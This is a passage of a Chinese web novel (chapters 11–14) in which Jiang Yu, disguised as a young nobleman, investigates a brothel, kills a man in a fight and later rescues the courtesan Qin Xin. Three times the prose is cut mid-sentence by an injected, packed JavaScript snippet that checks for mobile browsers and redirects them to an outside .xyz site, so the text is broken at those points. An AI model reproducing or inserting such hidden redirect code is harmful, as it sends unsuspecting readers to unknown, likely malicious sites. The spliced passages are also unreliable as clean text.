江瑜的面色已经发白了,她一把扶住身边的翠竹,稳住身形道:“玉影帮我点。” “摆什么谱呀,谁还没个丫鬟了?”面前女子小声嘟囔道,她熄灭了手里的火折子,嘴里还在喋喋不休:“我梁音长这么大没见过这么矫情的人。” 江瑜怔了怔,忽地抬起眼:“你姓梁?” “是啊,堂堂刑部尚书之女。”梁音还以为江瑜被她的身份所震慑,下巴抬得更高了。 “谁还不是个尚书之女了?”一道女声打破了这剑拔弩张的气氛。 站出来说话的是个与江瑜年纪相仿的女子,她在两次宴席中都出席了,但江瑜对她印象不深。她走到梁音身前,故意拿腔拿调地道:“吏部尚书之女,徐绫。” 梁音本来有些瞧不上江瑜这个来路不明的野丫头,想抓住她的错漏借机取笑。可谁知半路冒出个根正苗红的徐绫,她脸上青白交加,自知理亏,“哼”了一声就扭头走了。 徐绫走过来道:“别理她。上次宫宴,你还没到的时候她就在背地里说你是野丫头,这次也存心找茬。我早就看不惯她了。” 江瑜一点也不介意别人在背后如何说她,只不过面前这个徐绫说话行事都很直率坦荡,倒是对她生出了几分欣赏之意。 “多谢了,我叫江瑜,是江家……也就是苍冥将军的妹妹。” “我知道你。”徐绫接过江瑜手里的兔子灯,主动帮她点亮,还踮起脚挂到了树上。可她刚一落地,忽然“哎呀”了一声,抱歉道:“我好像说了不该说的话……你不是什么野丫头,那是梁音胡说的,我们其他人都没这么想。” 江瑜彻底笑开了,她眉眼弯弯地道:“没关系,我不介意。” 11. 第 11 章 一行人全都点完灯,祈了福。孟昭宛极尽地主之谊地帮忙绑上红绳,欣赏了一会儿火树银花的华美景象,这才带领众人回孟府。 街上依旧人流如织,徐绫走在江瑜旁边,低声问道:“其实我也有点好奇,你为什么不写愿望?” 江瑜抿起唇,坦诚地道:“我不信天命。” 这的的确确就是江瑜心中所想。她不仅不信天命,也不信什么神鬼传说,她只信她自己。换言之:人活一世,全靠自渡。 徐绫小小惊叹了一下,把江瑜的非同凡响都归结于她颠沛流离的身世。她竖起个大拇指,感叹道:“你可真是个妙人儿。” 没走几步,她又问江瑜,“那你会不会觉得京城里的贵女都特别无趣?” 江瑜自己都曾是京城贵女中的一员,她笑着摇头:“一点都不无趣,特别是你,吏部尚书之女——” “好啊你,居然打趣我。”徐绫佯怒道,举起拳头作势要动手。两个妙龄少女在闹市你追我赶,后来徐绫好不容易追上江瑜,拳头却早就松开了,两个人笑作了一团。 回到孟府,府中还准备了灯谜和宵夜,孟昭宛热情地招呼她们进去。 江瑜和徐绫刚坐下,言午就去而复返了。江瑜走过去,看见言午手心里放着一对耳坠子,他躬身道:“二小姐,属下找了一路,最后在江府外面没多远的地上找着了。您看看是不是丢的那副?” 江瑜接过来看了看,兴奋道:“正是这副,还好找回来了。” 这次出门收获颇丰,一切也都按照计划进行。江瑜收起耳坠,回去跟徐绫说了几句话,再与孟昭宛作别,带着人回到了江府。 回府后,江瑜照例去前院,与江涣之和江夫人分别见了面,随后回到自己的瑜园。入睡前,她吩咐道:“玉影,派两个人去刑部尚书府,也就是梁家外面守着。另外,明日帮我找两身男装,要那种一看就特别贵的。” 这个要求把玉影给难住了。京城里专给达官贵人做衣裳的铺子是不少,可一般都是先选料子,再量体裁衣,等真正做好至少得半个月。 成衣店倒是也有,可又不符合江瑜“一看就很贵”的标准了。 到了第二天,江瑜结束上午的习武,回到房里,一眼就看见了挂在?衣桁上的几件男式衣袍。江瑜走上前摸了摸,都是上好的料子,“这么快就买回来了?” “不是买的,是属下在府中找到的。大少爷好洁净,穿过的衣裳一点都看不出陈旧,张伯也每年都拿出来熏香,就跟新的一样。”玉影伺候着江瑜把衣服穿上,翠竹站在后面给江瑜挽起头发。就这样,一个活生生的贵公子出现了,再手握一把折扇,那就当真是俊逸无匹了。 江瑜抬腿走了几步,再低头看了看,衣裳十分合身,“你方才说,这是哥哥以前穿过的?” “是。”玉影道:“临时拿着布料去裁缝铺做衣服需得等上不少时间,属下灵机一动,就将大少爷不穿的衣服找来了。” 江瑜原地活动起腿脚,明明很合适,可她总觉得哪里怪怪的。她想象起江涣之穿这件衣服时的模样,若要和她的个头一般大,那应当只有十二三岁,比现在的江瑜年岁还小。江瑜噗嗤一声笑开了,那时候的江涣之一定很可爱。 “我看上去像不像一个真正的公子哥?”江瑜抬起双臂问。 对面的玉影和翠竹齐齐点头,异口同声道:“跟原本就是二小姐的衣服一样。不对,二少爷!” 行头已经搞定了,接下来就只剩找机会溜出去逛青楼了。江瑜换回女装,心里琢磨着该找什么理由出门,她实在要出去也没人拦得住,只不过那个言午肯定又会跟上,她总不能次次都故意把身上的首饰丢下马车吧? 刚换回女式的发髻,江涣之就来了。江瑜连忙朝玉影使了个眼色,示意她赶紧把衣服收好,她站起身走到门口,挡住正要进来的江涣之。 “哥哥,我正好有事想找你。” 江涣之看着仰起脸笑眯眯的江瑜,语调温润:“什么事?” “你小时候长什么样,是不是就跟个小大人似的故作深沉?” 江涣之听得莫名,一把拂开江瑜往里走,“什么乱七八糟的,我来找你是有正事。” 江涣之坐到了圆桌旁,玉影也收好了衣服垂首站在江瑜身后。他给自己倒了杯水,开口道:“北漠使臣已经携礼抵达城外,明日就要进京了。之后的一段日子京城会变得很热闹,宫中也会有很多活动,你要随时做好进宫的准备。还有,我可能会变得很忙,不能常来看你了。” 北漠被江涣之按着打了许多年,如今落了个对大夏彻底俯首称臣的局面,江瑜猜想北漠人大概对江涣之恨之入骨。她担心地问:“因为陛下赏赐了他们可汗一个狼头纛,所以派使臣前来报聘?那你要负责接待?” “不止是为了报聘。既然要称臣,那么以后每年要向大夏供奉多少金银和马匹,这些都还需要商议。我也不会出面接待,那是礼部和鸿胪寺的事。”江涣之事无巨细地解释道:“只是京城要加强守备。陛下为了彰显国力,还会巡视三军。” 加强守备和阅军这两件大事都落在了江涣之头上,怪不得他最近每日都去校场操练。 江瑜听说琴心已经被关入了地牢,江涣之大概也玩腻了放长线钓大鱼的把戏,府中暗卫被派出去了不少,应当正潜藏于各处,悄然蛰伏着。 “那他们会来多久?” “至多一个月吧。”江涣之发现江瑜越来越爱操心了,他揉了揉她的脑袋说:“你放心,不会出什么事的。” “你的二十万大军还驻守在北漠边境,也就是云州?”江瑜问。 “当然不会这么快就撤离了。大军有副将尹川坐镇,我很放心。”尹川是江涣之一手提拔上来的,有勇有谋,忠心耿耿。 正说着话,陆山进来了,附在江涣之耳边说了几句话。江涣之随即脸色一变,反问道:“当真?” 江瑜倏然紧张了起来,见江涣之要走,她急忙问:“出什么事了?” “营中有几十个兵士在吃过晚饭之后都出现了上吐下泻的症状,怀疑有人在餐食中下毒。”江涣之起身道:“我过去看看,你早点睡。” 江涣之一走,江瑜坐在桌旁,有些心神不宁。在这个节骨眼上,陛下正要在异族面前阅兵彰显国力,怎么军营里就出事了?这简直太巧了。 玉影在旁边劝道:“小姐不要太忧心了,大少爷会解决的。” “对,哥哥有他的事要做,我也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625634|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的事要做。”江瑜像是突然决定了什么,站起身道:“玉影,服侍我更衣。哥哥晚上不在府里,这可是我偷溜出去的好机会。” 再次换上男装,束起长发,江瑜对着铜镜将眉毛描粗。玉影不解地道:“先前还忘了问小姐,穿男装是要去哪里?” 江瑜在镜子前照了照,对自己现在的形象很满意。她检查了一遍两侧手腕上的机关,再将匕首也揣进怀里,缓缓吐出两个字:“青楼。” 翠竹和玉影俱是愣住,江瑜又道:“翠竹留在府里,要是有人问起就说我睡下了。玉影随我出去。” 说罢,江瑜悄声走出房门,环顾一圈四周,随即足尖一点,轻飘飘地飞身掠出了墙外。 一路使着轻功来到柳巷,许多花枝招展的女子站在街上揽客,时不时还有几个喝得伶仃大醉的男子被扶着走出来。江瑜道:“玉影,你留在外面等我,有事我自会叫你。” 玉影应了声“是”,随即就看见江瑜大喇喇地走进了青楼。浓烈的脂粉香气伴随酒香扑面而来,江瑜是第一次来这种场所,她故意模仿起方才在外头观察时所看见的那些人,摆出一派老道模样,跨步走向一处雅座,粗声粗气地道:“来壶酒!” “奴家来了——”鸨母惠娘摆动着腰肢走过来,替江瑜斟起了酒。 江瑜拿出些银两付账,她特地将钱袋敞开一个口,露出几锭银子的边角。那鸨母眼前一亮,欣喜地收下银子,刚离开不久,就又带着两个千娇百媚的姑娘回来了。 她对着江瑜盈盈一扶,“蕙娘招待不周,还望公子莫怪。这两位是特来陪公子喝酒的。” 江瑜抬眼往那两名女子的脸上扫了扫,面露不快:“上回我与董公子来时,有个叫琴心的姑娘温柔知意。让她出来陪我。” 蕙娘悄悄打量起江瑜,董公子她倒有些印象,只不过面前这人却怎么也想不起来。此人分明姿容不凡,衣着也华贵,莫不是哪家高门的小公子?这样的容貌该是能让人印象深刻的,可蕙娘每日见的形形色色之人实在太多,偶然忘了也是有的。 “敢问公子尊姓?” 江瑜面不改色:“蔽姓余。” “余公子,真是不巧,琴心不在。她病了……”蕙娘心里实在为难,琴心刚被带走,对方还是个她万万得罪不起的大人物,可没想到这么快就有琴心的老相好找来了。她恭顺道:“等琴心病好了,一定再来服侍公子。” 江瑜当然知道琴心不在,她为的就是借机发难。 蕙娘身旁那两个女子还在含羞带怯地望着自己,江瑜将手中杯盏一搁,不满道:“上回我和董公子来的时候琴心分明还好好的,怎么就突然病了?” 董公子便是那暴毙的富商,江瑜再一次提到了这个人。蕙娘心里百转千回,忽然有了主意:“琴心虽然不在,可还有一个得过董公子青眼的采薇姑娘还在,余公子可要见见?” 蕙娘见过的男人多了去了,玩得花的大有人在,他们大多都不介意接手别人玩剩下的人。若是有哪个姑娘被某个大才子睡过了,那还会身家暴涨,千金难求呢。 “采薇姑娘?”江瑜心下一喜,她按下内心激动,淡淡道:“那就见见吧。” 蕙娘躬身道:“余公子,楼上请。” 12. 第 12 章 上了楼,蕙娘推开一扇门,里面坐着一个身姿纤弱的女子。蕙娘道:“余公子,这就是采薇了。” 江瑜信步走进去,坐在了采薇对面。采薇以团扇遮面,怯生生地望了江瑜一眼,媚眼如丝。 “采薇,好生服侍余公子喝酒。”说完,蕙娘朝江瑜施了一礼,随即退了出去。 采薇放下团扇,对着江瑜盈盈一扶,站起身给她倒酒。江瑜压低嗓音,在她附身斟酒时故作深沉地说了一句话:“那些人还有没有来为难你了?” 江瑜猜想江涣之手里的暗卫一定没少盯着青楼。“那些人”指的便是江涣之一方的势力,也就是带走琴心的人。虽然没有明说,但采薇作为传话的中间人定能心知肚明。江瑜此时此刻所扮演的正是与富商一伙的,梅公子的人。 当然,这一招其实风险很大。蕙娘只要在事后稍微提一嘴她是与董公子交好的人,那么采薇就会反应过来董公子已经死了,既成了弃子,那么“余公子”就不应该是己方,而是敌方了。不过江瑜暂时也没有想到更好的套话法子,只能先走一步看一步。 采薇斟酒的手一顿,抬眼看过来,眸中却不是惊诧或了然,反而充满了浓浓的不解。她似乎不知道江瑜在说什么。 江瑜愣了愣,决定将话说得更明白些,她讳莫如深地开口:“是梅公子让我来的。” 采薇张了张嘴,呢喃道:“梅公子?” 江瑜看着采薇那冥思苦想的样子,也陷入了疑惑。莫非她此举走岔了,采薇根本不是梅公子的人,也没有在替他向富商传递消息,或是给他下毒?那究竟是她一开始就想错了还是蕙娘在诓她?富商总不可能真是来青楼寻欢作乐的吧。 就在江瑜犹疑着下一步该做什么时,隔壁突然传来一阵异响,像是桌椅被推倒的声音,还伴随着女子的呜咽声。 江瑜本就绷紧着心神,听到动静立即警惕了起来,“什么声音?” 采薇显然也听到了隔壁的声响,她怔了怔,忽然往前一扑,竟倒在了江瑜怀里。一阵酥香入骨,采薇柔媚的声音响起:“没什么,别理他们,免得坏了公子兴致。我们过去那边……” 说罢,采薇扶着江瑜就要往床榻走。这可大事不妙,江瑜索性顺着采薇的话,厉声道:“究竟怎么回事,好好的兴致都被毁了!” 采薇连声说着抱歉的话,江瑜却不为所动:“姑娘有所不知,余某平生最讨厌的就是欺辱妇孺之人。既然今日被我遇到了,那我绝不能坐视不理。” “还请公子莫要插手。动手的并非某个客人,而是……是龟三爷在管教姑娘。余公子今日若是出手了,龟三爷表面上或许会咽下这口气,可等公子一走,他就更不会放过我们了。”采薇说着说着,竟哭了起来。 龟爷,莫非是指龟奴?江瑜听说过这类人,他们一般在青楼里打杂跑腿,地位极低,惯常被人呼来喝去,可他们应该是替姑娘们做事的啊,哪有奴才欺凌主子的道理? 江瑜问出了心中困惑,采薇坐下道:“公子有所不知,这个龟三爷手段了得,前几年攀附上了来我们这儿的一个贵客,从此地位就大不同了,连蕙娘都要给他几分面子。他手下的姑娘平日都少不得被磋磨,可他认识的贵人多,跟着他也能沾些光……” 江瑜联想到方才采薇的反应,她应是害怕连累隔壁的姑娘,才百般阻拦她出手,“隔壁住着的是你好姐妹?她犯了什么错要受罚?” 采薇叹了一声道:“琴心一走,每日抚琴献奏的人就变成了她。应是弹得不好,或是弹错了哪个音,惹龟三爷不快了吧。” 江瑜问:“你的意思是,你、琴心和隔壁的姑娘都是龟三爷手底下的人?” 采薇点了点头,忽然面上一喜,问江瑜:“余公子认识琴心?那您知不知道她去哪儿了,琴心忽然消失,我们都很担心。” 看得出来,她们这三个可怜的姑娘互相依靠,情同姐妹。隔壁已经静了下来,江瑜心中忽然有了一个主意,“你一会儿帮我指指那个龟三爷,我保证不连累你们。作为交换,我会在合适的时候把琴心送回来,不过你不能对任何人提起我们在这间房里发生的事和说过的话。如果有人问起,你就说你像伺候别人一样伺候了我。” 采薇眨了眨眼,有些听不懂面前这个余公子的话。他从进门起就表现得很古怪。不过指认一下龟三爷对她来说也不是什么难事,还能得到一个找回琴心的希望,是笔划算的买卖。 “那我们就说好了。”采薇站了起来,她将靠内侧的窗户掀开了一条缝,对江瑜道:“余公子,那便是龟三爷,一般的客人都叫他龟三儿。” 江瑜走到窗前,眯起眼睛,记住了那人的脸。她有一个强烈的想法,富商想见的,或者说是最终见到的大概就是这个龟三儿。只不过明面上是通过这几个姑娘,达到了掩人耳目的效果。 江瑜掀开门缝走过去,她状若无意地接近楼下那个龟三儿。 龟三儿为人极为警觉,也正是因为这份谨慎才让他被那位权势滔天的贵人看中,从此平步青云。然而就在这一刻,龟三儿心中的那份机警再次发挥作用,让他察觉到了某种异样。 龟三儿嘬了口牙花子,抬起头,贼鼠一般的目光梭巡起四周。正在下楼的一个清贵公子很快引起了他的注意,即便对方根本没往他这边看。 龟三儿神色自若地走到蕙娘身边,低声道:“我们这儿什么时候有这么个谪仙般的人物了。楼梯上那人什么来头?” 蕙娘看了一眼,以绢掩口:“是董公子的旧识,兴许是听他说起过某个姑娘,本是来找琴心,后来去采薇那儿了。既是董公子旧识,那你该是见过……咦,你去哪?” 江瑜早在龟三儿靠近蕙娘时就警惕了起来,眼看两人没说两句话,龟三儿忽地脸色一变,快步往外走去了。江瑜再也顾不得遮掩,疾步下了楼,往龟三儿的方向追去。 龟三儿打开一扇暗门,从里面拿了把刀。董姓商人已经死了,琴心也不知所踪,今日这人不管是谁,都绝对来者不善。 龟三儿手握弯刀,刚走出门,正好兜头撞上追过来的江瑜。楼里还在纵情声色,耳边全是轻拨琴弦的婉转清音,两人中间隔了些距离,却在对视的一刻都看见了对方眼中的杀意。 僵持不过半刻,龟三儿忽然面色一凛,转身往外逃去。 江瑜立即追上,一只手往前扣住龟三儿的肩膀,他猛地一挣,手中尖刀反朝江瑜刺来。此人武功并不在上乘,但招式狠厉,也不像秦渊和江涣之那样讲究个光明磊落,他出手是怎么阴就怎么来,江瑜闪躲不及,眨眼的工夫对方已经破窗跃出。 龟三儿在暗巷翻了个跟头,一个激灵爬起来,抬腿踢到墙上,几步就往上窜了一大截,江瑜刚从窗柩出来他便从天而降,手中刀刃直朝江瑜面门劈下。江瑜用匕首一挡,抵住这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625635|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击,龟三儿目眦欲裂,咬牙问:“谁派你来的?” 江瑜并不理会,她以匕首示敌,转瞬之间抗住了龟三儿数招。她连连后退,在龟三儿以为自己占了上风时忽地按下左侧手腕机关,一道箭矢破空而去,钉在了龟三儿的肩头。 龟三儿身形一凝,捂住右肩,鲜血汩汩而出,染红了一片衣物。龟三儿头上冒出岑岑细汗,他呸了一声:“卑鄙小人!” “你以为就你会使阴招?”江瑜抬步走近,一字一句道:“我问你,梅公子是谁?” 龟三儿死死盯着江瑜,眼珠子骨碌一转,忽然像是豁出去一般,抬起手中弯刀再次朝江瑜扑来。江瑜身形极快地辗转腾挪,几招之后,估摸着龟三儿流的血够多了,她飞身挪到侧面,手中匕首狠狠刺进他的手背。 又是一阵剧痛来袭,龟三儿手中脱力,弯刀掉落,被早有准备的江瑜接过。她握住刀柄,手起刀落对着他的膝窝又是一劈,龟三儿鲜血直流,扑通一声跪在了地上。 江瑜挽起弯刀,负手走到龟三儿身前,像是在思索下一处落刀的部位。 “我再问你一遍,梅公子是谁?”江瑜慢悠悠的语调在此刻犹如鬼魅,龟三儿嘴唇翕动,却什么也没能说出来,而是轰然倒地。 江瑜凑得近了,听见龟三儿像是在极其用力地说:“死……” “你不会死的,我避开了要害。”江瑜道:“只要你说出那个人的名字,我便留你一命。” 龟三儿痛苦地抽搐着,却再也说不出一个字。很快,他脑袋一歪,彻底断了气。 江瑜还以为他被疼晕了过去,没想到一探脉搏,龟三儿果然还是死了。她将身后的弯刀拿出来一看,原来那刀刃上淬了毒,只要见伤就会毒发。 “小姐!” 破空声从天而至,玉影听见动静赶了过来,看见眼前的景象大惊失色,“这是怎么回事?” “我本来没想杀他的。”江瑜站在阴影里,脸色晦暗不明,她将手里弯刀一扔,“还真是自作孽,不可活。” 这是江瑜第一次杀人。她半阖着眼眸,审视起地上尸身的惨状。人身上的血比她想象中还要多,好像怎么都流不完。割开一些特定的部位,血还会喷涌而出,就像奔涌的江水从闸口里放出来一样。 “小姐,别怕……”玉影走到江瑜身边。饶是他们这些训练有素的暗卫,在第一次杀人时也会难受,有的还会好几天吃不下饭睡不着觉,闭上眼睛就是鬼魂来索命的可怖情景。 暗卫尚且如此,更何况江瑜一个从小长在深宅里的小姐了。 “我为什么要怕?”江瑜的面色格外平静,“从决定习武的那一刻起,我就知道会有这么一天了。我只是在想该怎么处理这具尸体。” 江瑜话音刚落,巷子外忽然响起一阵兵戈声,声响越来越近,像是直奔她们这里而来。从声音判断,人应该还不少。 “是金吾卫!”玉影惊道,她面色一沉,“属下之前看见他们在稍远的地方巡逻。许是方才打斗的动静被人听见了,惊动了他们。” “金吾卫……”江瑜深思道:“是哥哥手里的禁军?” 玉影:“不是。我当时远远看了一眼,带兵的是赵家的大公子,好像叫赵承昱。” 江瑜一怔,没想到会是他。声响已然逼近,江瑜当机立断道:“玉影,你处理尸体,先找个地方藏起来。我出去把人引开。” 13. 第 13 章 江瑜低头检查了一下穿着,没什么打斗的痕迹,也没沾上血。她很快往外走去,在走出暗巷的一刻,她与迎面而来的赵承昱险些撞上,两人都是一愣。 “赵公子?”江瑜惊讶地看着面前的人。 赵承昱起初并未认出眼前的人,只觉得有些面熟,可对方一开口,他才猛然意识到这是穿着男装的江瑜,脸上神色也由肃然变得温和。 “江……”赵承昱刚一开口,忽然想到该顾及些江瑜的名声,不应当着众人的面提到她的身份,于是他转身道:“你们都往后退些。” 一声令下,整装待发的金吾卫齐齐后退,站在了离他们几丈远的地方。 赵承昱这才问道:“这么晚了,你怎么会一个人出现在这里?” 江瑜竭力想装出忧伤彷徨的样子,于是在心里想了想自己的爹娘和那刚出生没多久的幼弟,眼里顷刻间便噙了些泪。 她道:“都怪我贪玩。听说北漠使臣来了,我好奇那些外族人长什么样,就扮作男子带了几个下人出府,想去城外的驿馆看看。没想到半路上被几个地痞流氓偷走了钱袋子,追逐途中我和下人也走散了,正不知该怎么办呢。” 许久没能见到江瑜,赵承昱其实是有些想她的。此刻听江瑜这么一说,他当即握住腰间剑柄,视线也往她身后的暗巷看去,“那方才的打斗声就是他们传出来的?” 江瑜忽然抬步走过来,挡在了赵承昱身前,“什么打斗声?我刚才去巷子里找人,可里面一个人都没有,我也没听到什么奇怪的声音。” 赵承昱将已经出鞘的长剑摁了回去,他叹声道:“你不该一个人进去的,这种地方鱼龙混杂,附近是……” 旁边就是花街柳巷,人牙子也不少。赵承昱暗自庆幸江瑜作了男子打扮,也还好自己正好在附近巡逻。 “我送你回去吧。”赵承昱道:“你是不是还没看到北漠人?我可以先带你过去瞧瞧,之后再送你回府。” “不要了,”江瑜连连摇头,像是惊魂未定似的,“我还是想快点回去。北漠人总要进宫赴宴的,我早晚能见到。” 赵承昱见她一脸后怕,便也不再多言,转身带着她往江府的方向走。 他那一队金吾卫声势浩大,走到哪里都引得行人纷纷侧目。赵承昱似是也觉得不太自在,于是唤出一个副将道:“你带着人去附近转转,看看能不能找到之前打斗的人。我稍后再回来。” 金吾卫训练有素地分成了几队,各自去往了不同的方向。江瑜这时候才想起来要问:“你怎么会在这里,还带着兵?” 赵承昱一五一十地回道:“年初通过恩荫入的仕,我本来想做文官,可朝中太缺武将。陛下念及北漠使臣快到了,城中要加强军备,便命我暂且先做个金吾卫统领。” 自从上次得知了江瑜就是裴瑜,赵承昱回去以后很是心神不宁了一段日子。他一时因为故人的“起死回生”而欣喜不已,一时想到江瑜对他厌恶疏离又会消沉下去。常常早上一睁开眼心里想的就是她,想去见她,可又苦于找不到合适的理由,只能全身心投入在公务中。 赵承昱能文善武,很快就在金吾卫中建立了不小的威信。加之他恩威并施,治军有道,陛下也很是赏识,再过不久兴许还会再拔擢他。 此时和江瑜并肩走在入夜的京城,赵承昱仿若置身在梦境,有种恍惚朦胧的不真实感。他有些紧张,手也不知该往哪放了,本来有心想与她说说话,可刚一转头看见江瑜那白皙的侧脸和长长的睫毛,他又忘了本来想说什么。 一路无话地走了许久,江府就在眼前了。江瑜不敢走正门,反而走到瑜园外面的小门外,也就是上次和赵承昱相遇的地方。她小声道:“赵公子,多谢你送我回来。今日之事能不能帮我瞒着哥哥,要是被他知道了我深夜偷跑出去,我就要被禁足了。” 赵承昱自然乐意替她保守秘密,他反而很高兴能与江瑜共同保守一个秘密。“你放心,我一定不会告诉别人。只是你以后还是莫要再深夜出府了。与你走散的那些下人……” “你不用去找,他们寻不到我自会回来的。”江瑜挥了挥手,示意他快走:“你也不能离开太久,快回去吧。” 赵承昱心里听得熨帖,只觉得江瑜是在为他考虑。等他一走,江瑜确认了四下无人,这才飞身进了江府内。 翠竹一直没睡,守在房中等着,服侍完江瑜沐浴更衣,没过多久,玉影也回来了。 “小姐,赵家公子没怀疑吧?”玉影一进来就问道。 江瑜摇了摇头,“总算摆脱他了。你呢,还顺利吗?尸体怎么处理的?” “埋在了近郊一处空地里,属下做过记号了。后来也回到暗巷里用几盆清水把地上的血迹冲了。那地方视线暗,也不常去人,明早应该就干了。另外,还有一事……” 江瑜问:“什么?” “属下在处理弯刀的时候发现那上面淬的毒很是考究,无色无味。那人定是个用毒高手,那毒物也并不多见,以前只听别的同僚提起说是在南疆见过。” “南疆……”江瑜道:“那看来富商的毒发身亡也是出自他的手笔了。” 江瑜坐在圆桌旁,认真分析起目前的局面。龟三儿失踪,最先发现的应该是蕙娘及采薇,但她们不会一开始就认定龟三儿已经死了,更重要的是蕙娘与梅公子并不是一伙的,采薇也只是被动卷入其中。也就是说,江瑜有了一段时间差,在梅公子真正发现龟三儿的死之前,她还可以去做一些事改变如今的被动局面。 可是她应该做什么呢?江瑜揉了揉眉心,决定当务之急还是先睡一觉。 第二天,秦渊照例来给她授课。 一直以来,江瑜但凡有点心浮气躁都逃不过秦渊的眼睛,可最近江瑜愈发沉稳持重了。有时她在练习骑射时秦渊会故意在旁边制造一些干扰,江瑜近来已经能做到充耳不闻,今日也不例外。 箭矢破空而出,江瑜一发射中天上的一只大雁,瑜园门口有人轻轻鼓起了掌。江瑜回头一看,是刚刚下朝的江涣之回来了。 “哥哥。”江瑜还没来得及放下手里的弓,就兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631567|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲冲地跑到江涣之身前。 正好也该下课了,秦渊走过来朝着江涣之拱了拱手,随即出了府。 江涣之不知在门口看了多久,他对着江瑜赞赏道:“箭术愈发出神入化了。最开始你说要习武时,我还以为只是一时兴起,没想到你当真坚持了下来,还这么勤奋刻苦。” 听江涣之夸她,江瑜特别受用。她挺起胸膛道:“那是自然。对了哥哥,昨夜军营里的事都解决了么?” “解决了。就是有两伙人之前闹了些矛盾,有人气不过,在军中餐食中下了药。不过已经揪出了那个人,中毒的人身体也无大碍。” 中毒……这样的字眼让江瑜格外在意。不过或许是她杯弓蛇影了。 “哥哥,那你一定不能轻易放过这个下毒之人,也要严加拷问是不是背后有人指使。” “这是自然。”江涣之看着她,脸上带着些笑意,“说回你练武的事,作为奖励,有没有什么想要的?我买给你。” 江涣之这些年给她买的东西不少,既有价值连城的,也有稀罕有趣的,真要说起来,江瑜其实什么都不缺。 如果是之前,那江瑜一定会说她什么也不要。可此时面对江涣之的目光,她想起了一个人。 “哥哥,我想向你讨个人。” 江涣之还以为她看中了他手底下哪个身手不凡的暗卫,“什么人?” 江瑜正色道:“琴心。” 这个答案显然出乎了江涣之的意料,他负手道:“琴心对富商的死毫不知情,我审过她了,什么都没问出来。” 江瑜很想说她知道,可话到嘴边,又改了口:“既然这样,那能不能把她从地牢放出来,交给我?我身边正好缺一个会抚琴的婢子。” 江涣之沉默片刻,不知在想什么。末了,他道:“陆山。” 陆山应声而出,揖道:“属下在。” “照二小姐说的做。” 虽然面上说想要个婢子,可江瑜实际是想将琴心保护起来。毕竟整个京城里,除了皇宫恐怕就是江府最安全了。 跟着陆山来到地牢,江瑜见到了琴心。她倒是没受什么刑,就是在寒凉的地牢里关了数日,身子有些虚弱,要人扶着才能走。 江瑜将她安置在了瑜园里的一间空房里,让人好吃好喝地供着,先把身子养好再说。她还叫玉影安排了两个暗卫守在琴心房外,保护她的安全。 当天夜里,琴心的精神好了许多。江瑜独自来到她房里,把药膳送到她的床边,柔声道:“你千万要振作,采薇还等着你。” 琴心浑身一震,以为采薇也被抓来了,她咬着发白的嘴唇道:“小姐……我真的什么都不知道,采薇也是……” “我不是在拿采薇的命要挟你。若要威胁,那我何必把你从地牢带出来?”江瑜语气温和:“我只是有一件事想要你帮忙。” 琴心蓦地抬起了眼,江瑜从她的眼中看到了对生的渴望。 江瑜缓缓开口:“我要你回忆所有关于龟三爷的事,事无巨细,全都告诉我。” 14. 第 14 章 琴心靠坐在床榻,将她所有能回想起的,关于龟三爷的事全都说给了江瑜听。 和采薇先前说的一样,龟三儿差不多在四五年前与某个权贵攀上了关系,从此在青楼里的地位扶摇而上。本来龟奴该为姑娘们办事跑腿的,但龟三儿却动辄对手底下的姑娘打骂欺辱。对于琴心这样的浮萍女子来说,她们根本没得选,好在龟三儿也并非全无作用,凭借与权贵的关系,她们的恩客大多非富即贵,收的银两也不菲。 江瑜问:“照你的意思,龟三爷出身市井,行事世故。那为何他会那么在意抚琴时有没有弹错,莫非他也精通音律?” “这就不太清楚了,兴许他是怕手下的姑娘没弹错了音,给他丢脸吧。不过他的确对这件事格外上心,每次弹奏的曲目也都是由他提前定好。” 江瑜又问:“那经由龟三爷介绍的那些人,一般都是多久来一次?” “每月大概三五次。不过一般都不是他们过来,而是我们坐马车去恩客府上。” 这么看来,那个董姓富商倒是个例外了。江瑜道:“龟三爷每次都会送你们去?” “那倒不会,他不太抽得开身。” “董姓富商来的时候,你们都做了什么?” 琴心脸色一红,都来青楼了,还能做什么?“自是做哪些该做的事,只不过他当时受了伤,行动有些不便。” “既然你说要去恩客府上……”问到细节处,江瑜也有些赧然,“你们一般会留多久?是办完事就走,还是会多留一阵?” “每次都会过夜。”琴心很肯定地回答。话一出口,她像是也觉得有些不对劲似的,“做完那事之后总会特别累,不知怎地就沉沉睡过去了。” 江瑜原本怀疑她们这几个女子是被下了迷药,可听琴心这么一说,似乎又不太确定了。她好奇地问:“那事做起来究竟是什么感觉,结束之后就会累得不省人事?” 